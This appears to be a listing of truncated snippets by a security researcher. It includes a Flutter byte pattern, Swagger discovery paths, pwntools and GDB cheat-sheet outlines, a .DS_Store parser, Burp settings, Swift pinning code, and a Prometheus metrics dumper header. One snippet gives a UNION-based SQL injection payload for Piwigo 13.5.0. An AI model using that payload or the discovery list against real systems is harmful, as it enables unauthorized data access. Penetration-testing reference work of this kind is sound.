rodnt

/**
 * by rodnt
 * twitter: 0xrodnt
 * Github: rodnt
*/

const config = {
    flutterPatterns: {
        android: "F? 0F 1C F8 F? 5? 01 A9 F? 5? 02 A9 F? ?? 03 A9 ?? ?? ?? ?? 68 1A 40 F9"
    },

rodnt

/swagger-ui.html
/swagger-ui/
/swagger-ui/index.html
/api-docs
/v2/api-docs
/v3/api-docs
/swagger.json
/openapi.json
/api/swagger.json
/docs

rodnt

#!/bin/bash

# Function to select the USB device
select_usb_device() {
  echo "Available USB devices:"
  local devices=(/dev/sd*)
  select usb_device in "${devices[@]}"; do
    if [ -z "$usb_device" ]; then
      echo "Invalid selection, please try again."
    else

rodnt

Pwntools Cheatsheet

1. Program Interaction
2. Environment and Contexts
3. Logging and Output
4. Encoding, Packing and Utility
5. Assembly and Shellcraft
6. ELFs, Strings and Symbols
7. Return Oriented Programming
8. SROP and Sigreturn Frames

rodnt

How to use GDB (Basics)

• Load the program
  • gdb <program>
• Run the program
  • run
  • run with arguments
    • run arga argb argc ..
• Breakpoint

rodnt

# -*- encoding: utf-8 -*-

from ds_store import DSStore
from tqdm import tqdm
import argparse

parser = argparse.ArgumentParser()
parser.add_argument("-p", "--path", help="Path to the DS_Store file", required=True)
parser.add_argument("-t", "--type", help="Type : Iloc, bwsp, lsvp, lsvP, icvp", default='Iloc')
args = parser.parse_args()

rodnt

Burp Suite > Proxy > Options > TLS Pass Through.
Add these:
*.google\.com
.*.gstatic).com
*.mozilla\.com
.*\.googleapis\.com
*.pkil.goog

rodnt

POC - Authenticated SQL injection Piwigo 13.5.0

Payload: 12 UNION ALL SELECT CONCAT(0x4141414141,IFNULL(CAST(VERSION() AS NCHAR),0x20),0x4141414141)-- --

rodnt

func urlSession(_ session: URLSession, didReceive challenge: URLAuthenticationChallenge, completionHandler: @escaping (URLSession.AuthChallengeDisposition, URLCredential?) -> Void) { 
if (challenge.protectionSpace.authenticationMethod == NSURLAuthenticationMethodServerTrust) { 
if let serverTrust = challenge.protectionSpace.serverTrust { 
var secresult = SecTrustResultType.invalid
let status = SecTrustEvaluate(serverTrust, &secresult) 

if (errSecSuccess == status) { 
if let serverCertificate = SecTrustGetCertificateAtIndex(serverTrust, 0) { 
let serverCertificateData = SecCertificateCopyData(serverCertificate) 
let data = CFDataGetBytePtr(serverCertificateData); 

rodnt

=begin

author: unp4ck

usage:

$ gem install http
$ ruby metricsDumper.rb -u https://example.com/prometheus

=end